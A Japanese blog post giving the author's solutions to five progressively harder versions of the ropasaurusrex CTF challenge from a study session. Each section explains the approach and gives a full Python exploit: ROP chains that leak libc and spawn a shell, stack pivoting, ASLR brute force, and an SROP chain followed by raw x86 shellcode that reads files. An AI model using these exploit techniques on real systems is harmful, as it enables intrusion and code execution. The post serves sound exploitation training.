katagaitai CTF勉強会の宿題

この記事は最終更新日から5年以上が経過しています。

チームkatagaitai主催の勉強会に参加した。
https://atnd.org/events/67035

bataさんのpwnablesの講義の題材がPlaid CTF 2013のropasaurusrexで、勉強会中に最も簡単な版の解き方が紹介されて、難しく改造したものを後で解いてみてくださいという感じだった。脆弱性はスタックバッファオーバーフローで、ASLRなどをどう回避するかという話。

参加する前の私「り りろんはしってる」
1問目を解いた私「『ここに○○のアドレスを書く』とかの誘導無しでは無理だな」
5問目を解いた私「1問目、system("/bin/sh")を呼ぶだけだし、libcも書き込み可能な領域もあるし、簡単すぎワロタ」

1問目

system("/bin/sh")を呼び出す。問題のバイナリ中にはsystemのアドレスが無く、ASLRによってlibcのアドレスが分からない。
下記の処理を行うROPのコードを送り込む。

  1. GOTのwriteのアドレスを書き出す
  2. 書き込み可能な領域(*1)に読み込んだ文字列を書き出す
  3. 読み込んだアドレスをGOTのwriteに書き出す
  4. (*1)を引数としてwriteを呼び出す

ASLRによってlibcの位置が変わっても、writeとsystemの相対位置は一定なので、1.で出力したアドレスからsystemのアドレスを計算して、3.で書き込むと、4.でwriteを呼べば実際にはsystemが実行される。2.で/bin/shを書き込む。

import socket, struct, telnetlib

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#s.connect(("localhost", 10250))
s.connect(("katagaitai.orz.hm", 1025))
f = s.makefile("rw", bufsize=0)

def p(a): return struct.pack("<I", a)
def u(a): return struct.unpack("<I", a)[0]

plt_write    = 0x0804830c
plt_read     = 0x0804832c
pop3ret      = 0x080484b6
got_write    = 0x08049614
data         = 0x08049620

buf = "A"*140 + "".join(map(p, [
    # write(1, got_write, 4)
    plt_write,
    pop3ret,
    1,
    got_write,
    4,
    # read(0, data, 8)
    plt_read,
    pop3ret,
    0,
    data,
    8,
    # read(0, got_write, 4)
    plt_read,
    pop3ret,
    0,
    got_write,
    4,
    # write(sytem)(data)
    plt_write,
    0xdeadbeef,
    data,
]))

f.write(buf)

ofs_system  = 0x00040190
ofs_write   = 0x000dac50

libc_write = u(f.read(4))
print "libc_write: %08x"%libc_write
libc_system = libc_write - ofs_write + ofs_system
print "libc_system: %08x"%libc_system

f.write("/bin/sh\0")
f.write(p(libc_system))

t = telnetlib.Telnet()
t.sock = s
t.interact()

2問目

return addressの後に書き込み可能なサイズが16バイトしかない。
Stagerというテクニックを使う。最初は、readするコードのみを送り込み、このreadによって追加のコードを送り込む。待避されたebpをespに設定したいアドレスで上書きしておいて、read後のreturnでleave; retに飛べば良いらしい。

import socket, struct, telnetlib

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#s.connect(("localhost", 10250))
s.connect(("katagaitai.orz.hm", 1026))
f = s.makefile("rw", bufsize=0)

def p(a): return struct.pack("<I", a)
def u(a): return struct.unpack("<I", a)[0]

leave_ret    = 0x080482ea
plt_write    = 0x0804830c
plt_read     = 0x0804832c
pop3ret      = 0x080484b6
got_write    = 0x08049614
data         = 0x08049620

buf2 = "".join(map(p, [
    # write(1, got_write, 4)
    plt_write,
    pop3ret,
    1,
    got_write,
    4,
    # read(0, data, 8)
    plt_read,
    pop3ret,
    0,
    data,
    8,
    # read(0, got_write, 4)
    plt_read,
    pop3ret,
    0,
    got_write,
    4,
    # write(system)(data)
    plt_write,
    0xdeadbeef,
    data,
]))

buf1 = "A"*136 + "".join(map(p, [
    # data+0x100-4
    data+0xfc,
    # read(1, data+0x100, len(buf2))
    plt_read,
    leave_ret,
    0,
    data+0x100,
    len(buf2),
]))

f.write(buf1)
f.write(buf2)

ofs_system  = 0x00040190
ofs_write   = 0x000dac50

libc_write = u(f.read(4))
print "libc_write: %08x"%libc_write
libc_system = libc_write - ofs_write + ofs_system
print "libc_system: %08x"%libc_system

f.write("/bin/sh\0")
f.write(p(libc_system))

t = telnetlib.Telnet()
t.sock = s
t.interact()

3問目

chrootで実行されていて、/bin/shが存在しない。
libc中のopenなどを使ってROPによってファイルを読み込む必要がある。またフラグが書かれたファイル名も分からないので、scandirでディレクトリ中のファイル一覧を読み込んだ。scandirは指定したアドレスには、ディレクトリエントリではなく、ディレクトリエントリが存在するアドレスを書き込むので困った。送り込むROPを3段階に分けて、2段階目ではscandirによって書き込まれたアドレスを出力し、3段階目でこのアドレスにあるディレクトリエントリを出力するようにした。本当はこのアドレスにるのはディレクトリエントリのアドレスの配列だけど、直後にファイル名も書き込まれていた。libcの関数だけで何とかするのではなく、mprotectを呼び出して、シェルコードを送り込めば良かったらしい。

import socket, struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#s.connect(("localhost", 10250))
s.connect(("katagaitai.orz.hm", 1027))
f = s.makefile("rw", bufsize=0)

def p(a): return struct.pack("<I", a)
def u(a): return struct.unpack("<I", a)[0]

leave_ret   = 0x080482ea
plt_write   = 0x0804830c
plt_read    = 0x0804832c
pop4ret     = 0x080484b5
pop3ret     = 0x080484b6
pop2ret     = 0x080484b7
got_write   = 0x08049614
data        = 0x08049620
stack       = data + 0x400

ofs_open    = 0x000da740
ofs_write   = 0x000dac50
ofs_scandir = 0x000b1300

def read_dir():
    dir = "/"+"\0"

    buf3 = "".join(map(p, [
        # write(1, 0xffffffff, 0x100)
        plt_write,
        0xdeadbeef,
        1,
        0xffffffff,
        0x100,
    ]))

    buf2 = "".join(map(p, [
        # write(1, got_write, 4)
        plt_write,
        pop3ret,
        1,
        got_write,
        4,
        # read(0, data, len(dir))
        plt_read,
        pop3ret,
        0,
        data,
        len(dir),
        # read(0, got_write, 4)
        plt_read,
        pop3ret,
        0,
        got_write,
        4,
        # write(scandir)(data, data, 0, 0)
        plt_write,
        pop4ret,
        data,
        data,
        0,
        0,
        # read(0, got_write, 4)
        plt_read,
        pop3ret,
        0,
        got_write,
        4,
        # write(1, data, 4)
        plt_write,
        pop3ret,
        1,
        data,
        4,
        # read(0, 0xffffffff(stack+len(buf2)), len(buf3))
        plt_read,
        pop3ret,
        0,
        0xffffffff,
        len(buf3),
    ]))
    buf2 = buf2.replace("\xff\xff\xff\xff", p(stack+len(buf2)))

    buf1 = "A"*136 + "".join(map(p, [
        # stack-4
        stack-4,
        # read(0, stack, len(buf2))
        plt_read,
        leave_ret,
        0,
        stack,
        len(buf2)
    ]))

    f.write(buf1)
    f.write(buf2)

    libc_write = u(f.read(4))
    print "libc_write: %08x"%libc_write
    libc_scandir = libc_write - ofs_write + ofs_scandir
    print "libc_scandir: %08x"%libc_scandir

    f.write(dir)
    f.write(p(libc_scandir))
    f.write(p(libc_write))

    dirent = u(f.read(4))
    print "dirent: %08x"%dirent

    f.write(buf3.replace("\xff\xff\xff\xff", p(dirent)))

    print "dirent: "+repr(f.read(0x100))

def read_flag():
    flag = "flag_???????????????????"+"\0"

    buf2 = "".join(map(p, [
        # write(1, got_write, 4)
        plt_write,
        pop3ret,
        1,
        got_write,
        4,
        # read(0, data, len(flag))
        plt_read,
        pop3ret,
        0,
        data,
        len(flag),
        # read(0 got_write, 4)
        plt_read,
        pop3ret,
        0,
        got_write,
        4,
        # write(open)(data, 0)
        plt_write,
        pop2ret,
        data,
        0,
        # read(3, data, 0x100)
        plt_read,
        pop3ret,
        3,
        data,
        0x100,
        # read(0, got_write, 4)
        plt_read,
        pop3ret,
        0,
        got_write,
        4,
        # write(1, data, 0x100)
        plt_write,
        0xdeadbeef,
        1,
        data,
        0x100,
    ]))

    buf1 = "A"*136 + "".join(map(p, [
        # stack-4
        stack-4,
        # read(0, stack, len(buf2))
        plt_read,
        leave_ret,
        0,
        stack,
        len(buf2),
    ]))

    f.write(buf1)
    f.write(buf2)

    libc_write = u(f.read(4))
    print "libc_write: %08x"%libc_write
    libc_open = libc_write - ofs_write + ofs_open
    print "libc_open: %08x"%libc_open

    f.write(flag)
    f.write(p(libc_open))
    f.write(p(libc_write))

    print "flag: "+repr(f.read(0x100))

read_dir()
#read_flag()

4問目

writeが潰されていて、GOPの値などを出力することができない。
とはいえ、x86のASLRはたいしたことがないので、libcのアドレスを仮定して数百回試せば1回は当たる。3問目のコードをそのまま動かしても上手くいかなくて、何故かと思ったら、PLTのwriteのコードも潰されているのでGOPのwriteを呼び出したい関数のアドレスで上書きしてPLTのwriteに飛んでも実行できないからだった。writeの代わりに__libc_start_mainの場所を使った。
ブルートフォースの場合は結果が出るまでに時間がかかるので、ASLRを無効にして動くことを確認してから、ASLRを有効にして動かすと確実だった。ASLRが有効な場合、libcがASLRが無効な場合の位置にくることはないようなので注意。仮定するアドレスはASLRが有効な状態で取得する必要がある。

import socket, struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#s.connect(("localhost", 10250))
s.connect(("katagaitai.orz.hm", 1028))
f = s.makefile("rw", bufsize=0)

def p(a): return struct.pack("<I", a)
def u(a): return struct.unpack("<I", a)[0]

leave_ret   = 0x080482ea
plt_start   = 0x0804831c
plt_read    = 0x0804832c
pop4ret     = 0x080484b5
pop3ret     = 0x080484b6
pop2ret     = 0x080484b7
got_start   = 0x08049618
data        = 0x08049620
stack       = data + 0x400

ofs_open    = 0x000da740
ofs_write   = 0x000dac50
ofs_scandir = 0x000b1300

#libc_write  = 0xf7eeec50
libc_write = 0xf763bc50

def read_dir():
    dir = "/"+"\0"

    buf3 = "".join(map(p, [
        # start(write)(1, 0xffffffff, 0x100)
        plt_start,
        0xdeadbeef,
        1,
        0xffffffff,
        0x100,
    ]))

    buf2 = "".join(map(p, [
        # read(0, data, len(dir))
        plt_read,
        pop3ret,
        0,
        data,
        len(dir),
        # read(0, got_start, 4)
        plt_read,
        pop3ret,
        0,
        got_start,
        4,
        # start(scandir)(data, data, 0, 0)
        plt_start,
        pop4ret,
        data,
        data,
        0,
        0,
        # read(0, got_start, 4)
        plt_read,
        pop3ret,
        0,
        got_start,
        4,
        # start(write)(1, data, 4)
        plt_start,
        pop3ret,
        1,
        data,
        4,
        # read(0, 0xffffffff(stack+len(buf2)), len(buf3))
        plt_read,
        pop3ret,
        0,
        0xffffffff,
        len(buf3),
    ]))
    buf2 = buf2.replace("\xff\xff\xff\xff", p(stack+len(buf2)))

    buf1 = "A"*136 + "".join(map(p, [
        # stack-4
        stack-4,
        # read(0, stack, len(buf2))
        plt_read,
        leave_ret,
        0,
        stack,
        len(buf2)
    ]))

    f.write(buf1)
    f.write(buf2)

    print "libc_write: %08x"%libc_write
    libc_scandir = libc_write - ofs_write + ofs_scandir
    print "libc_scandir: %08x"%libc_scandir

    f.write(dir)
    f.write(p(libc_scandir))
    f.write(p(libc_write))

    dirp = u(f.read(4))
    print "dirp: %08x"%dirp

    f.write(buf3.replace("\xff\xff\xff\xff", p(dirp)))

    print "dir: "+repr(f.read(0x100))

def read_flag():
    flag = "flag_??????????????????"+"\0"

    buf2 = "".join(map(p, [
        # read(0, data, len(flag))
        plt_read,
        pop3ret,
        0,
        data,
        len(flag),
        # read(0 got_start, 4)
        plt_read,
        pop3ret,
        0,
        got_start,
        4,
        # start(open)(data, 0)
        plt_start,
        pop2ret,
        data,
        0,
        # read(3, data, 0x100)
        plt_read,
        pop3ret,
        3,
        data,
        0x100,
        # read(0, got_start, 4)
        plt_read,
        pop3ret,
        0,
        got_start,
        4,
        # start(write)(1, data, 0x100)
        plt_start,
        0xdeadbeef,
        1,
        data,
        0x100,
    ]))

    buf1 = "A"*136 + "".join(map(p, [
        # stack-4
        stack-4,
        # read(0, stack, len(buf2))
        plt_read,
        leave_ret,
        0,
        stack,
        len(buf2),
    ]))

    f.write(buf1)
    f.write(buf2)

    print "libc_write: %08x"%libc_write
    libc_open = libc_write - ofs_write + ofs_open
    print "libc_open: %08x"%libc_open

    f.write(flag)
    f.write(p(libc_open))
    f.write(p(libc_write))

    print "flag: "+repr(f.read(0x100))

#read_dir()
read_flag()

5問目

libcが無くなった。アドレス空間中には、実行不可能なスタックと、書き込み不可能なropasaurusrex5とvdsoしか無い。ropasaurusrex5中のコードもシステムコールのread, write, exitを呼び出すもののみ。
libcが無い場合は、ROPでint 80hに飛んでシステムコールを実行すれば良いらしい。システムコール一覧。ただし、システムコールは関数呼び出しと違って引数をレジスタで渡すので、事前にpop eax; retなどに飛んで、レジスタを設定する必要がある。この問題はコードが小さすぎて、これができない。vdsoにpop ebp; pop edx; pop ecx;があって惜しかったけど、システムコールの第一引数のebxが設定できない。
この辺で他の人の解答を読んで、SROP (Sigreturn Oriented Programming)という方法を知った。
Sigreturnシステムコールは呼び出し時点のスタックで全レジスタを初期化してくれるらしい。sigreturnのシステムコール番号は119で、これはeaxに代入すれば良いので、write(1, ?, 119)を実行すれば良い。SROPの解説を読むと、書き込み可能な固定位置の領域が必要と書かれている。これは、sigreturnでespの値も書き換えられてしまうため。ただし、このスタックが使われるのは、sigreturnによって最初のシステムコールを呼び出した直後なので、最初のシステムコールとしてmprotectを呼び出すのならば、書き込み不可能であってもreturn addressとして有効なアドレス書かれていれば良い。この問題ではデバッグ情報として、問題中の関数vulnのアドレスがメモリ中に存在するので、ここをespに設定した。
この時点で、スタックは位置が固定で実行可能になって、プログラムが最初から実行されているので、もう一度スタックバッファオーバーフローを起こしてスタック中のシェルコードを実行という基本的な攻撃をすれば良い。

import socket, struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#s.connect(("localhost", 10250))
s.connect(("katagaitai.orz.hm", 1029))
s = s.makefile("rw", bufsize=0)

def p(a): return struct.pack("<I", a)
def u(a): return struct.unpack("<I", a)[0]

base    = 0x08048000
int80   = 0x080480cf
write   = 0x080480d2
stack   = 0x08048468    # [stack] = vuln

buf = "A"*128

# write(1, base, 0x77)
# jmp int80
buf += p(write)
buf += p(int80)
buf += p(1)         # gs
buf += p(base)      # fs
buf += p(0x77)      # es

# sigreturn frame
# https://github.com/eQu1NoX/srop-poc/blob/master/Frame.py
# mprotect(base, 0x1000, 7)
buf += p(0)         # ds
buf += p(0)         # edi
buf += p(0)         # esi
buf += p(0)         # ebp
buf += p(stack)     # esp
buf += p(base)      # ebx
buf += p(7)         # edx
buf += p(0x1000)    # ecx
buf += p(0x7d)      # eax
buf += p(0)         # ?
buf += p(0)         # ?
buf += p(int80)     # eip
buf += p(0x23)      # cs
buf += p(0)         # eflags
buf += p(0)         # ?
buf += p(0x2b)      # ss
buf += p(0)         # floa

s.write(buf)
s.read(4)

s.read(0x77)

buf = ""
buf += "A"*128
buf += p(stack+8)

shell_list = (
    "81ec00010000"  # sub   esp, 100

    # open("/", 0, 0)
    "33c0"          # xor   eax, eax
    "b005"          # mov   al, 5
    "eb2b"          # jmp   short +2b
    "5b"            # pop   ebx
    "33c9"          # xor   ecx, ecx
    "33d2"          # xor   edx, edx
    "cd80"          # int   80

    # getdents(ebp, esp, 0x100)
    "8bd8"          # mov   ebx, eax
    "33c0"          # xor   eax, eax
    "b08d"          # mov   al, 8d
    "8bcc"          # mov   ecx, esp
    "33d2"          # xor   edx, edx
    "fec6"          # inc   dh
    "cd80"          # int   80

    # write(1, esp, 0x100)
    "33c0"          # xor   eax, eax
    "b004"          # mov   al, 4
    "33db"          # xor   ebx, ebx
    "43"            # inc   ebx
    "8bcc"          # mov   ecx, esp
    "33d2"          # xor   edx, edx
    "fec6"          # inc   dh
    "cd80"          # int   80

    # exit(0)
    "33c0"          # xor   eax, eax
    "40"            # inc   eax
    "33db"          # xor   ebx, ebx
    "cd80"          # int   80

    "e8d0ffffff"    # call  -30
).decode("hex")

shell_read = (
    "81ec00010000"  # sub   esp, 100

    # open(filename, 0, 0)
    "33c0"          # xor   eax, eax
    "b005"          # mov   al, 5
    "eb29"          # jmp   short +29
    "5b"            # pop   ebx
    "33c9"          # xor   ecx, ecx
    "33d2"          # xor   edx, edx
    "cd80"          # int   80

    # read(eax, esp, 0x100)
    "8bd8"          # mov   ebx, eax
    "33c0"          # xor   eax, eax
    "b003"          # mov   al, 3
    "8bcc"          # mov   ecx, esp
    "33d2"          # xor   edx, edx
    "fec6"          # inc   dh
    "cd80"          # int   80

    # write(1, esp, eax)
    "8bd0"          # mov   edx, eax
    "33c0"          # xor   eax, eax
    "b004"          # mov   al, 4
    "33db"          # xor   ebx, ebx
    "43"            # inc   ebx
    "8bcc"          # mov   ecx, esp
    "cd80"          # int   80

    # exit(0)
    "33c0"          # xor   eax, eax
    "40"            # inc   eax
    "33db"          # xor   ebx, ebx
    "cd80"          # int   80

    "e8d2ffffff"    # call  -2e
).decode("hex")

buf += shell_list + "/"
#buf += shell_read + "flag_????????????????????????????????"
#buf += shell_read + "souteikai_???.txt"

s.write(buf + "\0")
s.read(4)

print repr(s.read(0x100))
kusano_k
ユーザー登録して、Qiitaをもっと便利に使ってみませんか。
  1. あなたにマッチした記事をお届けします
    ユーザーやタグをフォローすることで、あなたが興味を持つ技術分野の情報をまとめてキャッチアップできます
  2. 便利な情報をあとで効率的に読み返せます
    気に入った記事を「ストック」することで、あとからすぐに検索できます
この記事は以下の記事からリンクされています
kaizen_nagoyaアドレス演算からリンク
コメント
この記事にコメントはありません。
あなたもコメントしてみませんか :)
すでにアカウントを持っている方は
ユーザーは見つかりませんでした